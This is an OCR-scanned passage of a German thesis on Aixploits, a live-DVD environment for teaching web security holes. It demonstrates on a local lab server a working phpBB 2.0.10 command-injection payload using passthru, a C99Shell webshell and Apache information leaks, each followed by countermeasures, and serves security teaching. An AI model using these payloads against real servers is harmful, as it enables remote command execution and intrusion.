durch einen Backslash als Text gekennzeichnet, den Zeichen wird so ihre Son-
derfunktion genommen. Der Vorgang des Maskierens wird auch als Escapen be-
zeichnet. Es gibt zwei Moglichkeiten, das Escapen von Eingaben zu aktivieren.
Bei der ersten Moglichkeit wird das automatische Escapen von Funktionszeichen
gobal, das heifit fiir alle PHP-Skripte, gesetzt. Hierzu wird in der Konfigurati-
onsdatei php.ini der PHP-Schnittstelle der Parameter magic_quotes_gpc gesetzt.
Listing 5.7 zeigt die relevante Zeile. Diese Einstellung gilt fiir alle PHP-Skripte
auf dem Webserver. Das sorgt fiir Probleme, wenn nicht alle Skripte unter diesem
Gesichtspunkt erstellt oder iiberarbeitet wurden. Daher wird diese Moglichkeit
zu Unrecht selten verwendet.

# Magic quotes for incoming GET/POST/Cookie data

magic_quotes_gpc = On

Listing 5.7: Ausschnitt aus der Datei /opt/lampp/etc/php.ini

Das Maskieren von Funktionszeichen kann auch im PHP-Skript selbst erfolgen.
Jede Eingabe wird mit einer Escape-Funktion, welche die Funktionszeichen mas-
kiert, behandelt. Fiir SQL-Anfragen wird die Funktion mysql_real escape_string

genutzt. Fiir andere Sprachen und Datenbanken existieren dquivalente Funktio-
nen.

$user = mysql_real_escape_string ($_.POST[" user”]);
$pass = mysql,real,escape,string($,POST[”pass”]);

$result = mysql_query ("SELECT user , permission FROM usertable
WHERE user='$user’ AND pass='$pass’ ");

Listing 5.8: maskierte Eingaben an das Skript und SQL-Befehl zur Abfrage

this Query was send to the SQL server:

SELECT user,permission FROM usertable WHERE user='abc' AND pass='VOR\x\/'=\'s'

user not logged in

please enter a valid username and password

Abbildung 5.8: Gescheitertes Auslesen aller Benutzernamen und Berechtigungen

Die Wirksamkeit der Maskierung von Sonderzeichen wird bei der Betrachtung
Webseite http://127.0.0.1/safe/login/index.php deutlich. Listing 5.8 zeigt, dass
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die Benutzereingaben maskiert werden. Der Datenbankbefehl an sich wurde nicht
verdndert. Abbildung 5.8 zeigt, dass das Einschleusen oder Manipulieren der SQL-
Abfrage nicht mehr méoglich ist.

5.5 Boardsoftware phpBB

5.5.1 Informationen

Webforen oder Pinboards sind Webseiten, auf denen Gleichgesinnte miteinander
diskutieren. Die Mitglieder diirfen Texte und Bilder in das Webforum einstel-
len. Fin Beispiel fiir eine frei verfiighare Software zum Betreiben eines Forums
ist phpBB (21). Die Software ist in der Skriptsprache PHP geschrieben und un-
terstiitzt verschiedene Datenbanksysteme, in denen die Inhalte des Forums ab-
gelegt werden. Die Forensoftware phpBB ist weit verbreitet. Zu diesem Verbrei-
tungsgrad haben unter anderem die einfache Installation und Konfiguration beige-
tragen. Die Boardsoftware ist allerdings auch beriithmt fiir viele Sicherheitsliicken.
Einige Exploits nutzen Schwachstellen in der Boardsoftware selbst, andere beru-
hen auf Méngeln der PHP-Konfiguration. Wieder andere nutzen Schwachstellen
in zusétzlichen Modulen der Boardsoftware.

5.5.2 Angriffsszenario

Der hier gezeigte Exploit nutzt eine SQL-Injektion, um Befehle auf dem Server
abzusetzten. Die Schwachstelle entsteht durch die {iberfliissige Verwendung einer
PHP-Funktion. Diese Sicherheitsliicke existiert in allen Versionen von phpBB
kleiner oder gleich Version 2.0.10.

Ein Browser kodiert Umlaute, Leerzeichen und Sonderzeichen in eingegebenen
Zeichenketten vor dem Absenden nach einem speziellen Muster. Auf dem Ser-
ver werden die Zeichenketten wieder dekodiert und die Eingaben verarbeitet.
Die Schwachstelle liegt in der doppelten Dekodierung der Variablen highlight im
Skript viewtopic.php.

482 : S$highlight_match = Shighlight = '~
483: if (isset (BHTTP_.GET.VARS[ highlight ']))

484: {
485: // Split words and phrases
486: $words = explode (" ', trim(htmlspecialchars(

urldecode (SHTTP_GET_VARS[ ' highlight '])))):
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Listing 5.9: Auschnitt aus der fehlerbehafteten Datei viewtopic.php

Der Inhalt der Variable highlight wird zuerst vom Server dekodiert. In Listing
5.9 wird in Zeile 486 der Inhalt durch die Funktion urldecode erneut dekodiert.
Anschliefend wandelt die Funktion htmlispecialchars Sonderzeichen in HTML-
Code um. Durch die zweimalige Dekodierung der Zeichenkette kénnen doppelt
kodierte Sonderzeichen eingeschleufft werden. Diese Schwachstelle wird ausge-
nutzt, um mit der PHP-Funktion passthru Befehle auf dem Server abzusetz-
ten.

Als Beispiel wird das Einschleusen des Sonderzeichens ~ vorgestellt. Dieses Zei-
chen wird durch die Zeichenkette %27 kodiert. Die Codierung des Zeichens %
wiederum erfolgt durch %25. Die Zeichenkette %27 wird durch den Browser
demzufolge als %2527 iibergeben. Auf dem Server wird diese Zeichenkette in
%27 zuriickkodiert. In Zeile 486 erfolgt dann die zweite Dekodierung zum Son-
derzeichen . Dieses Sonderzeichen 6ffnet und schliefit SQL-Befehle. Der Angreifer
kann so beliebigen Code auf dem Server ausfiihren.

5.5.3 Durchfiihrung

http://127.0.0.1/phpBB2/viewtopic.php?t=1&highlight=%2527

Listing 5.10: Test von phpBB auf Anfilligkeit fiir diesen Exploit

Auf dem Webserver wurde phpBB in der Version 2.0.10 installiert. Das Board
wird unter der Adresse http://127.0.0.1/phpBB2 erreicht. Zuerst wird getestet,
ob die vorliegdende Version der Boardsoftware verwundbar ist. Dazu wird die
in Listing 5.10 gezeigte Zeichenkette in den Browser eingegeben. In der Varia-
ble highlight wird ein zweifach kodiertes Hochkomma iibergeben. Die Ausgabe in
Abbildung 5.9 zeigt, dass das Skript viewtopic.php die in %2527 kodierte Zeichen-
kette %27 zu einem Hochkomma dekodiert und damit eine fehlerhafte Ausgabe
erzeugt.

Die Schwachstelle kann iiber den Browser ausgenutzt werden. Innerhalb des Brow-
sers muss die Eingabe und Kodierung von Zeichenketten von Hand erfolgen. Die-
se Methode ist aufwéndig und fehleranféllig. Daher wird der Exploit durch ein
Perl-Skript ausgefiihrt. Das Skript exec_command.pl kodiert die Eingaben des Be-
nutzers, schickt sie an den Webserver und gibt die Antwort des Webservers aus.
Das Skript ist im Anhang unter Abschnitt C.1 aufgefiihrt. Beim Aufruf erwartet
das Skript vier Paramter. Im Parameter [URL] wird die Adresse des Webser-
vers angegeben. Danach folgt im Paramater [DIR] das Verzeichnis, in dem die
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yourdomain.com

h J EJ i A _little_ text to describe your forum
p - )‘ , ®rea @ search B Memberist & Usergroups ) Reaister

creating  communities & — . . — .
18] Profile 14 Log in to check your private messages (@) Log in

\,

Parse error: syntax efror, unexpected T_STRING in /opt/lampp/htdocs/phpBB2/viewtopic.php(1109) :
regexp code on line 1

Fatal error: preg_replace() [<a href="function.preg-replace'=function preg-replace<fa=|: Failed evaluating
code: preg_replace(#ib(" Wb, "&ltspan
style=&quotcolor#FFASAF&quotEgtaltb& gt M AILIb&gtAIL spandgt), "4 gt This is an example post in your
phpBE 2 installation. You may delete this post, this topic and even this forum if you like since everything
seems to be working!&It") in fopt/lamppfhtdocs/phpBB2/viewtopic.php on line 1109

Abbildung 5.9: Ausgabe des Browser beim Test von phpBB Version 2.0.10

phpBB-Software zu finden ist. AnschlieBend muss im Parameter NUM die Num-
mer eines existierenden Beitrags in dem Forum angegeben werden. Zuletzt wird
das auszufithrende Kommando in Anfiihrungszeichen im Parameter [CMD] ab-

gelegt.

1 exec_command.pl 127.0.0.1 /phpBB2/ 1 uname —a

2 Tkskekskekskekskokskekskoskokoskokoskokoskokoskoko sk sk sk sk sk skoskskoskskoskskoskskoskskokskokskokkok sk

3 this string is send to the webserver:

4 http://127.0.0.1/phpBB2/viewtopic.php?t=%31&Exploitlt=
5 %65%63%68%6F %20%5F %53%54%41%52%54%5F %3B%20%75%6E %61 %6D%65
6 %20%2D%61%3B%20%65%63%68%6F %20%5F %45%4E %44%5F&

7 highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54 %50
8 %5F %47%45%54%5F %56%41%52%53%5B

9 %45%78%70%6C%6F %69%74%49%74

10 %5D%29.%2527

11

12 show string in cleartext:

13 http://127.0.0.1/phpBB2/viewtopic.php?t=1&

14 Exploitlt=echo _START_; uname —a; echo _END &

15 highlight=%27.passthru (SHTTP_.GET_VARS[ Exploitlt]).%27
16

17 this we get back:

18 Linux shetan 2.6.12.5 #17 Sat Nov 11 10:59:41 CET 2006
19 i686 Intel (R) Pentium(R) M processor

20 : 1.60GHz Genuinelntel GNU/Linux

kokokkskokosk ok skok ok skokosk ok skok sk skokosk sk skok sk sk kosk sk skok sk kok sk ok skok sk skok sk sk skok ok k

Listing 5.11: Perl-Skript exec_command.pl fithrt das Kommando uname -a aus

Als Beispiel wird der Befehl uname -a ausgefiihrt. Dieser Befehl zeigt die Kernel-
version des laufenden Betriebssystems an. Das Skript wird mit den Parametern
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127.0.0.1 fiir die Adresse des Webseservers, phpBB2 fiir das Verzeichnis, dem
Topic 1 und dem Befehl uname -a aufgerufen. Die Ausgabe des Skripts in Listing
5.11 zeigt in den Zeilen 4 bis 10 die Zeichenkette, die zum Webserver geschickt
wird. Zeile 9 enthélt den kodierten Befehl uname -a. In den Zeilen 13 bis 15 wird
die Zeichenkette im Klartext angezeigt. Aus den Zeilen wird ersichtlich, dass der
Befehl in der Variablen Exploitlt gespeichert wird. Anschliefend wird auf dem
Server der Befehl passthru mit dieser Variabel aufgerufen. Der Befehl fiithrt das
angegebene Kommando aus und liefert die Ausgabe zuriick. Die Ausgabe der
Kernelversion ist in den Zeilen 18 bis 20 zu sehen.

5.5.4 GegenmaBnahmen

Durch ein Update der phpBB Software wird die SQL-Injektion behoben. In der
neueren Version wird der Parameter highlight nicht zweimal dekodiert. In Li-
sting 5.12 wird in Zeile 488 die Funktion urldecode nicht aufgerufen und damit
die Zeichenkette nicht erneut dekodiert. Dadurch werden Sonderzeichen in den
folgenden PHP-Funktionen erkannt und maskiert.

484 : highlight_match = $high|ight = "'
485 : if (isset(SHTTP_GET.VARS|[ highlight ']))

486 - {
487 // Split words and phrases
488 $words = explode (' ', trim(htmlspecialchars(

$HTTP_GET.VARS[ ' highlight '])));

Listing 5.12: Auschnitt aus fehlerbereinigter Datei viewtopic.php

Abbildung 5.10 zeigt, dass phpBB in der Version 2.0.22 nicht mehr auf das Hoch-
komma in der Anfrage reagiert.

5.6 Webshell

5.6.1 Informationen

Eine Webshell ist eine Datei, die auf einen Webserver hochgeladen wird und
dort Kommandos ausfithren kann. Eine solche Webshell muss nicht selbst pro-
grammiert werden, es steht eine Auswahl an funktionstiichtigen Webshells zum
Download im Internet bereit. Webshells bieten einem Angreifer eine komfortable
Befehlsoberfliche. Viele Webshells sind in der Skriptsprache PHP geschrieben.
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5.6 Webshell

yourdomain.com

h ....\J- ) & _little_ text to describe your forum
p p . 3 Elraa @ search [ memberist (= Usergraups ) Register
creating | communities

®rrofle @ Login to check vour private messages (@) Login

Welcome to phpBB 2

lk newtopi :) postr ,J_) yourdomain.com Forum Index -> Test Forum 1

“ WERRRLS

View previous topic i View next topic

root D Posted: Sat Oct 21, 2000 12:01 am  Post subject: 2
Gite Adrin ! :
This is an example post in your phpBE 2 installation. You may delete this post, this topic and even this forum
Joined: 07 Fek 2007 ; ’ ’ ’ ’
Posta: | if you like since everything seems to be working!
Back to top (& profile ..,JEE_Z} E‘m
Display posts from previous: | All Fosts LI | Oldest First ;l Go |
L new z-_-_-.ji) postr ,J_) yourdomain.com Forum lndex -> Test Forum 1 Al times are GMT

Abbildung 5.10: Ausgabe des Browsers beim Test von phpBB Version 2.0.22

Gelingt es einem Angreifer, eine solche Datei auf einen Webserver zu transfe-
rieren, so wird der PHP-Code auf dem Server ausgefiihrt. Der Angreifer kann
dann beliebigen Code auf dem System ausfithren. Auch ein Ausbrechen aus dem
Umfeld und dem Benutzeraccount des Webservers ist moglich. Ein Beispiel fiir
eine Webshell ist die C99Shell. Die Funktionalitdt der Shell lasst sich gut mit
einem Zitat aus dem Artikel Gesundes Misstrauen(25) der Computerzeitschrift
c’t beschreiben:

“Die fiir Angriffe eingesetzten PHP-Shells bieten oft mehr Komfort
und Moglichkeiten als die reguldren Administrationsfrontends der Web-
Hoster.”

5.6.2 Angriffsszenario

Auf dem Webserver muss die Moglichkeit bestehen, Dateien hochzuladen. Der
Upload von Dateien ist oft im Géstebuch einer Webseite oder einer Bilderga-
lerie erlaubt. Wenn der Upload von Dateien nicht auf bestimmte Dateitypen
beschrénkt ist, kann auch eine Datei mit PHP-Code hochgeladen werden. Ist es
weiterhin erlaubt, diese Datei auf dem Webserver auszufiithren, so kann die Da-
tei auf dem Server in einem Webbrowser aufgerufen werden. In diesem Moment
wird der PHP-Code auf dem Server ausgefiihrt und das Ergebnis im Webbrowser
angezeigt.
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5.6.3 Durchfiihrung

uname -a: Linux shetan

uid=65534(nobody) gid=655

Safe-mod

lete/ drwxr-xr-x

Free 577 MB of 9.46 GB (5.96%)

A - - &= @ & Encoder Tools Proc. FIPbrute Sec. SQL PHP-code Update Feedback Self remove Logout

Listing folder (115 files and 81 folders):

Name a Size VIodify Owner/Group Perms
L LINK 3
5 .. LINK

M [.java) DIR

B [Wireless] DIR

m [X11] DIR

B [acpi] DIR

Abbildung 5.11: Funktionalitdten der C99Shell

Auf dem Apache-Webserver liegt im Verzeichnis /opt/lampp/htdocs/ die in PHP
geschriebene Webshell C99Shell bereit. In dieser Shell kann komfortabel mit dem
System gearbeitet werden. Abbildung 5.11 bietet einen Einblick in die Funktiona-
litét der Shell. Zu sehen ist das Verzeichnis /etc/. Mit der Shell kénnen nicht nur
Dateien ausgelesen werden, es lassen sich auch Befehle auf dem System absetzten.
Der Upload von Dateien auf den Webserver wird hier nicht demonstriert. Durch
das Ausfithren einiger Kommandos innerhalb der Webshell soll die Méchtigkeit
dieses Werkzeugs verdeutlicht werden. So lésst sich eine Liste der verfiigbaren
Dienste auf diesem Webserver ausgeben. Der Benutzer der Shell muss nicht einmal
den Befehl eintippen, es geniigt ein Mausklick auf den Meniipunkt Open Ports.
Listing 5.13 zeigt die Ausgabe zu diesem Befehl. Zu sehen sind die Ports, die durch
den Web-, SQL- und FTP-Server bedient werden.

tcp 0 0 localhost:mysql *ok LISTEN
tcp 0 0 localhost: http *ok LISTEN
tcp 0 0 *:ftp *ok LISTEN
tcp 0 0 localhost: https ESES LISTEN

Listing 5.13: Ausgabe der offenen Ports

Die weitere Erforschung dieser Webshell bleibt dem Leser oder Zuhorer {iberlas-
sen.
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5.6.4 GegenmaBnahmen

Der Webserver sollte den Upload nur fiir Dateien mit bestimmtem Inhaltstyp
erlauben. Der Speicherort der Dateien muss auf ein spezielles Verzeichnis be-
schrankt werden. In der Konfigurationsdatei des Webservers wird dann festge-
legt, dass aus diesem Verzeichnis keine Dateien mit Code ausgefiihrt werden
diirfen.

In der globalen Konfigurationsdatei php.ini werden Einstellungen fiir alle PHP-
Skripte auf dem Webserver vorgenommen. In dieser Datei kann die PHP-Umgebung
des Webservers durch Parameter gezielt abgesichert werden.

Der Parameter allow_url fopen = off sorgt dafiir, dass keine Skripte von externen
Servern nachgeladen werden kénnen.

Durch den Parameter open_basedir = /pfad/zu/den/Skripten wird das Verzeich-
nis festgelegt, in dem PHP-Skripte Dateien 6ffnen konnen. Auflerhalb des Ver-
zeichnisses haben die Skripte dann keine Zugriffsmoglichkeit.

Der Zugriftf auf Dateien und Verzeichnisse ldsst sich auch durch den Parameter
safe_mode = on einschrinken. Diese Einstellung bewirkt, dass der PHP-Prozess
nur auf Dateien und Verzeichnisse zugreifen kann, die dem PHP-Prozess auch
gehoren.

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.

allow_url_fopen = Off

. Safe Mode

safe_mode = On

; open_basedir, if set, limits all file operations to the defined directory
. and below. This directive makes most sense if used in a per—directory

; or per—virtualhost web server configuration file.

open_basedir =/opt/lampp/htdocs

Listing 5.14: Sicherheitsoption in der Datei php.ini

Nach Aktivierung der in Listing 5.14 gezeigten Einstellungen verliert die Webshell
den grofiten Teil ihrer Funktionalitdt. Die zum Beispiel vorhin noch verfiigha-
re Liste der offenen Ports kann nicht mehr erzeugt werden. Dem PHP-Prozess
ist es nicht mehr erlaubt, diese Informationen auszulesen. Wie Abbildung 5.12
zeigt, konnen keine Verzeichnisse auflerhalb des Verzeichnis /opt/lampp/htdocs
mehr gelesen werden. Das Lesen des Verzeichnisses /opt/lampp schlidgt fehl.

Die Variable register_globals = off verhindert die Nutzung globaler Variablen in-
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1 C99Shell v.

Software: Apache/2.2.3 (Unix) DAV/2 mod_ssl/2.2.3 Oper
uname -a: Linux shetan 2,6.12.5 #17 Sat Nov 11 10:39:41 CE

Safe-mode:

Topt/lampp/
Free 0 B of 0 B (0%)
h ~ - = @ ® Encoder Tools Proc. FIPbrute Sec. SQL PHP-code Update Feedback Self remove Logout

Can't open folder (/fopt/lampp/)!

Abbildung 5.12: Unwirksam gemachte C99Shell

nerhalb der kompletten PHP-Umgebung. Durch diese Option miissen alle Skripte
mit eigenen Variablen arbeiten und Benutzereingaben iiber gesonderte Variablen
importieren. So wird verhindert, dass ein Angreifer globale Variablen fiir seine
Zwecke iiberschreiben kann.

Die Absicherung der gesamten PHP-Umgebung {iber die zentrale Konfigurations-
datei php.ini ist oft problematisch. Viele PHP-Skripte sind rein auf Funktionalitét
ausgerichtet programmiert worden. FEine Betrachtung der Sicherheitsproblematik
ist meistens nicht erfolgt. Diese Skripte nutzen Funktionen und Einstellungen, die
aus sicherheitstechnischer Sicht als problematisch eingestuft werden. Durch eine
zentrale Abschaltung dieser Risiken durch die globale Koinfigurationsdatei funk-
tionieren viele PHP-Skripte nicht mehr. Daher werden die Moglichkeiten zur Ab-
sicherung der PHP-Umgebung so gut wie nie genutzt.

5.7 Konfiguration Apache-Webserver

5.7.1 Informationen

Der Apache-Webserver(17) ist eine frei verfiighare Software, die fiir verschie-
dene Betriebssysteme angeboten wird. Zur Erweiterung der Funktionalitat des
Apache-Webservers steht eine Vielzahl von Modulen bereit. Das Modul mod_ssl
verschliisselt zum Beispiel die Kommunikation zwischen Browser und Webser-
ver. In der Konfigurationsdatei httpd.conf wird festgelegt, welche Module in den
Webserver eingebunden werden.

Mittels serverseitiger Skriptsprachen wie PHP oder Perl kénnen Webseiten dyna-
misch erstellt werden. Die Skriptsprachen sind kein Bestandteil des Webservers,
sondern werden entweder als Module eingebunden oder sind als Programme auf
dem Webserver installiert.

52 Ein System zur Demonstration von Sicherheitsliicken



5.7 Konfiguration Apache-Webserver

Der Apache-Weberver wird in den Versionen 1.3.x, 2.0.x und 2.2.x angeboten. Fiir
diese Versionen gibt es Support, und es werden Sicherheitsupdates angeboten.
Aktuell ist der Webserver in der Version 2.x.

Es werden im folgenden Konfigurationsméngel des Apache-Webservers behandelt.
Diese Fehler entstehen bei der Installation und Konfiguration der Software. Sie
fithren nicht immer zwangsldufig zu Sicherheitsliicken. Auf Sicherheitsliicken der
Apache-Software selbst wird an dieser Stelle nicht eingegangen. Fiir Schwach-
stellen in der Software stellt die Apache Foundation innerhalb kurzer Zeit Sicher-
heitsupdates zur Verfiigung. Diese Updates miissen unbedingt auf dem Webserver
eingepflegt werden.

5.7.2 Angriffsszenario

Es wird versucht, moglichst viele Informationen iiber den Webserver zu sammeln.
Von Interesse sind Versionsnummern der verwendeteten Software und der instal-
lierten Module. Ein weiterer Fokus liegt auf den Dateien, die auf dem Webserver
zur Verfiigung gestellt werden. Es wird weiterhin nach Standardverzeichnissen
und Testskripten gesucht.

5.7.3 Durchfiihrung

Der Webserver liefert durch Fehler bei der Installation und Konfiguration unnotig
viele Informationen. Beim Aufruf einer nicht vorhandenen Seite wird im Brow-
ser eine Fehlermeldung angezeigt. Abbildung 5.13 zeigt die detaillierte Ausgabe
von Versionsnummern und installierten Modulen. Diese Informationen kann ein
Angreifer fiir sein weiteres Vorgehen nutzen. Wenn er die genaue Version der
Apache Software kennt, kann er nachforschen, ob diese Version eine Schwachstel-
le enthélt. Ohne Ausgabe der Versionsnummer kann der Angreifer nicht direkt
ermitteln, welche Apache Version verwendet wird.

Not Found

The requested URL /abc was not found on this server.

Apache/2.2.3 (Unix) DAV/2 mod_ssl/2.2.3 OpenSSL/0.8.8d PHF/5.1.6 mod_apreq2-20051231/2.5.7
mod_perl/2.0.2 Perl/v5.8.7 Server at 127.0.0.1 Port 80

Abbildung 5.13: detaillierte Ausgabe des Apache
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Unter Directory-Listing wird die Auflistung des Inhalt eines Verzeichnisses ver-
standen. Abbildung 5.14 zeigt Inhalte des Wurzelverzeichnisses des Webservers.
Der Angreifer kann alle Dateien in diesem Verzeichnis sehen. Er sieht zum Beispiel
den Quellcode von Skripten. Innerhalb dieses Quellcodes konnen weitere Infor-
mationen wie Benutzernamen und Passworter oder Hinweise auf weitere Skripte
enthalten sein. Ohne die Moglichkeit des Directory-Listing sieht der Angreifer
nur den Code, der von den Skripten erzeugt wird. Der Quellcode der Skripte
wird nicht angezeigt.

Index of /
Mame Last modified Size Description

E] beefs 07-Feb-2007 19:53
E] phpBB2. 0. 22/ 19-Dec-2006 18:29
E] phpBB2/ 01-Jan-2007 13:38
E] safe/ 04-Dec-2006 17:11
Ef] torrent/ 07-Feb-2007 19:32
Ef] unsafe/ 04-Dec-2006 17:11
Ef] webalizer/ 26-Dec-2004 11:30
E] xampp/ 31-Jan-2006 14:25

Abbildung 5.14: Directory-Listing im Wurzelverzeichnis

Testskripte liefern einem Angreifer wertvolle Informationen. Das Skript test-cgi
aus Listing 5.15 zeigt detaillierte Informationen zur Apache Software und zu den
aktivieren Modulen. Es ist ersichtlich, dass PHP in der Version 5.1.6 installiert
ist. Die Skriptsprache Perl steht als Modul des Apache-Webservers in der Ver-
sion 5.8.7 bereit. Diese Informationen kann der Angreifer verwenden um gezielt
nach Exploits fiir diese Softwareversionen zu suchen. Die Versionsnummern soll-
ten nicht iibermittelt werden.

CGl/1.0 test script report:

argc is 0. argv is

SERVER SOFTWARE = Apache /2.2.3 (Unix) DAV/2
mod_ssl /2.2.3 OpenSSL/0.9.8d
PHP/5.1.6 mod_

apreq2 —20051231/2.5.7
mod_perl /2.0.2 Perl/v5.8.7

Listing 5.15: http://127.0.0.1/cgi-bin/test-cgi

Listing 5.16 zeigt die Ausgabe eines weiteren Skripts. Es werden weiterfithrende
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Informationen iiber die Konfiguration des Webservers ausgegeben. So ist unter
anderem der komplette Pfad zum Wurzelverzeichnis des Webservers zu erkennen.
Diese Informationen werden fiir den Betrieb des Servers nicht benotigt.

DOCUMENT_ROOT="/opt/lampp/htdocs”

GATEWAY _INTERFACE="CGI /1.1"

HTTP_.ACCEPT="text /xml, application/xml,application/xhtml4+xml,
text/html;q=0.9, text/plain;q=0.8,image/png,*/%*;q=0.5"

HTTP_ACCEPT_CHARSET="1SO —8859—1,utf —8;q=0.7 ,%;q=0.7"

HTTP_ACCEPT_ENCODING="gzip , deflate”

HTTP_ACCEPT_LANGUAGE="de ,en;q=0.7,en—us;q=0.3"

HTTP_CONNECTION="keep—alive”

HTTP_HOST="127.0.0.1"

HTTP_KEEP_ALIVE="300"

REQUEST_-METHOD="GET"

REQUEST_URI="/cgi—bin/printenv”

SCRIPT_FILENAME="/opt/lampp/cgi—bin/printenv”

SCRIPT_.NAME="/cgi—bin /printenv”

SERVER_ADDR="127.0.0.1"

SERVER_ADMIN="you@example.com”

SERVER NAME="127.0.0.1"

SERVER_PORT="380"

Listing 5.16: http://127.0.0.1/cgi-bin/printenv

5.7.4 GegenmaBnahmen

Die zentrale Konfigurationsdatei des Apache Webservers heifit httpd.conf. Die
Datei liegt bei xampp im Verzeichnis /opt/lampp/etc/httpd.conf. In dieser Kon-
figurationsdatei sollte der Webserver an eine IP-Adresse und einen Port gebunden
werden. Dies geschieht in Zeile 1.

Die Variable SeverSignature in Zeile 3 gibt an, welche Auskiinfte der Webserver
auf einer Fehlerseite zuriickliefert. Die Option Off gibt an, dass keine Versions-
nummern in den Fehlermeldungen erscheinen.

In Zeile 4 wird mit der Variable ServerTokens festgelegt, wieviele Versionsinfor-
mationen der Webserver bei einer Anfrage iibermittellt. In der Einstellung Prod
werden keine Versionsnummern iibertragen.

In den Zeilen 6 und 7 werden die Module status und info durch Voranstellung des
Sonderzeichens # deaktiviert. Beide Module liefern dem Angreifer viele Informa-
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tionen iiber den Webserver. Fiir den produktiven Betrieb werden beide Module
nicht benotigt.

Der Parameter Options in Zeile 15 gilt jeweils fiir ein Verzeichnis des Webservers.
In diesem Parameter werden Einstellungen fiir das Verzeichnis und alle Unter-
verzeichnisse festgelegt. Die Einstellung Indexes gibt an, ob das Auflisten des
Verzeichnisinhalts erlaubt ist. Diese Option muss unbedingt durch ein vorange-
stelltes Minuszeichen deaktiviert werden.

Listen 127.0.0.1:80

ServerSignature Off

ServerTokens Prod

#oadModule status-module modules/mod_status. so
#oadModule info_module modules/mod_info. so

O N o g b~ W N

e}

User nobody

—
o

Group nogroup

[ay
[y

12: <Directory "/opt/lampp/htdocs">
15: Options —Indexes
</Directory>

Listing 5.17: Ausschnitt aus der Datei /opt/lampp/etc/httpd.conf label

Nach Deaktivierung der Option Indexes zeigt Abbildung 5.15, dass kein Directory-
Listing im Wurzelverzeichnis mehr moglich ist. Alle Dateien und Verzeichnis-

Forbidden

You don't have permission to access / on this server.

Abbildung 5.15: kein Directory-Listing im Wurzelverzeichnis méglich

se, die fiir den produktiven Betrieb nicht benttigt werden, sollten entfernt wer-
den.

Die beschriebenen Mafinahmen beheben keine Sicherheitsliicken in der Webserver-
Software. Der Webserver wird so konfiguriert, dass es dem Angreifer erschwert
wird, Informationen iiber die Software des Webservers zu sammeln.
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6 Ausblick

In die Présentationsumgebung Aixploits kénnen weitere Schwachstellen eingefiigt
werden. Themen wie Trickbetrug per email (Phishing) oder die Darstellung frem-
der Informationen innerhalb einer vertrauenswiirdigen Webseite (Cross Site Scrip-
ting) sind bekannte Sicherheitsliicken, die zukiinftig eingepflegt werden sollten.
Sie runden die Prisentation der bekanntesten Sicherheitsliicken auf diesem Gebiet
ab.

Die Préasentationsoberfliche kann um weitere Funktionen ergénzt werden. Es bie-
tet sich ein Copy&Paste Button an, der dem Vortragenden das Markieren und
Kopieren von Text abnimmt. Weiterhin lésst sich die Anordung der Buttons inner-
halb der Fensteroberfliche flexibler gestalten. Ein weiterer Punkt ist der Export
der Informationen zu einer Sicherheitsliicke. Die Speicherung der Informationen
in einem PDF Dokument wire ein weiteres Hilfsmittel zur Vorbereitung der De-
monstration.

Um die Einstellung neuer Schwachstellen zu erleichtern wére ein grafisches Tool
wiinschenswert. Ein solcher Editor miisste es dem Benutzer gestatten, die in Aix-
ploits vorgesehenen Bausteine zur Beschreibung und Demonstration interaktiv
zu nutzen.

Aixploits ist als Werzeug fiir Vortragende gedacht. Bei der Erstellung der Préasen-
tationsumgebung wurde Interesse an Selbstlerneinheiten zu den einzelnen Si-
cherheitsliicken bekundet. Die in dieser Arbeit gewahlte Vorstellung der Sicher-
heitsliicken kann so abgedndert werden, dass Selbstlerneinheiten entstehen. Dabei
miissen die speziellen Aspekte des elektronisch unterstiitzten Lernes beriicksich-
tigt werden.
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A Handbuch zu Aixploits

Dieses Handbuch beschreibt die Verwendung von Aixploits, einem Linux-basierten
Live-System, das speziell darauf ausgerichtet ist, Sicherheitsliicken zu demonstrie-
ren. Eine Sicherheitsliicke ist ein Fehler oder eine Fehlkonfiguration von Softwa-
re, die das Erlangen priviligierter Rechte ermdglicht. Diese priviligierten Rechte
konnen das Auslesen von vertraulichen Daten, das Ausfithren von Programmen
oder Skripten oder die Komprimittierung des kompletten Computersystems be-
deuten. Programme oder Skripte, die Sicherheitsliicken ausnutzen (to exploit),
werden als Exploits bezeichnet.

Die DVD enthélt géngige Exploits und deren Ziele. Das Ziel eines Exploits kann
ein Betriebssystem, ein Programm oder ein angebotener Dienst wie zum Beispiel
ein Webserver sein. Alle Komponenten, die zur Ausfithrung des Exploits benotigt
werden, befinden sich auf der DVD. Die DVD enthélt eine grafische Oberflache zur
komfortablen Prasentation der Exploits. Zu jeder Schwachstelle sind ausfiihrliche
Informationen hinterlegt.

Die Schwachstellen sind in zwei Klassen unterteilt. Diese Unterteilung unterschei-
det die Sicherheitsliicken in “Sicherheitsliicken in Betriebssystemen” und “Sicher-
heitsliicken in Internetanwendungen “. In die erste Klasse der Sicherheitsliicken fal-
len Schwachstellen, die Betriebssysteme betreffen. Alle Schwachstellen, die Dien-
ste im Internet betreffen, werden in der zweiten Kategorie zusammengefasst.

Das Live-System der DVD ist ein Linux-System mit grafischer Benutzerober-
flache. Dieses System startet komplett von einer DVD und nutzt nur die Res-
sourcen des Rechners. Das Linux-System nimmt keinerlei Verdnderungen an der
Hard- und Softwarekonfiguration des Rechners vor. Die Inhalte auf den Daten-
triagern des Rechners werden nicht verdndert, und es werden keine Daten auf die
Datentrager geschrieben.

Aixploits ist fiir Vortragende gedacht, um sie bei der Erstellung einer Lehreinheit,
einer Schulung oder einer Vorlesung zu unterstiitzen und ihnen ein Werkzeug
an die Hand zu geben, um die Vorbereitungszeit fiir eine Demonstration einer

Sicherheitsliicke und deren Ausnutzung zu verringern.

Mehr Informationen finden Sie unter www.aixploits.de
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VVorhandene Releases

Es gibt drei fertige Image-Dateien, die der Anwender auf eine DVD (oder CD)
brennen kann.

o full-release

Diese DVD enthalt Aixploits mit allen virtuellen Maschinen, die fiir Ex-
ploits aus dem Bereich Betriebssysteme benétigt werden. Der Betrieb von
virtuellen Maschinen erfolgt von DVD und ist daher langsam.

e presentation

Dieses Release wird fiir die Présentation von Sicherheitsliicken aus dem Be-
reich der Betriebssysteme empfohlen. In dieser Version dient ein USB-Stick
als Speicherplatz fiir virtuelle Maschinen. Dadurch wird der Betrieb der
virtuellen Maschinen deutlich performanter. Der USB-Stick muss als Da-
tentragerbezeichnung den Namen vmachines tragen. Wihlen Sie aus dem
Downloadbereich unter http://www.aixploits.de die gewiinschte Maschi-
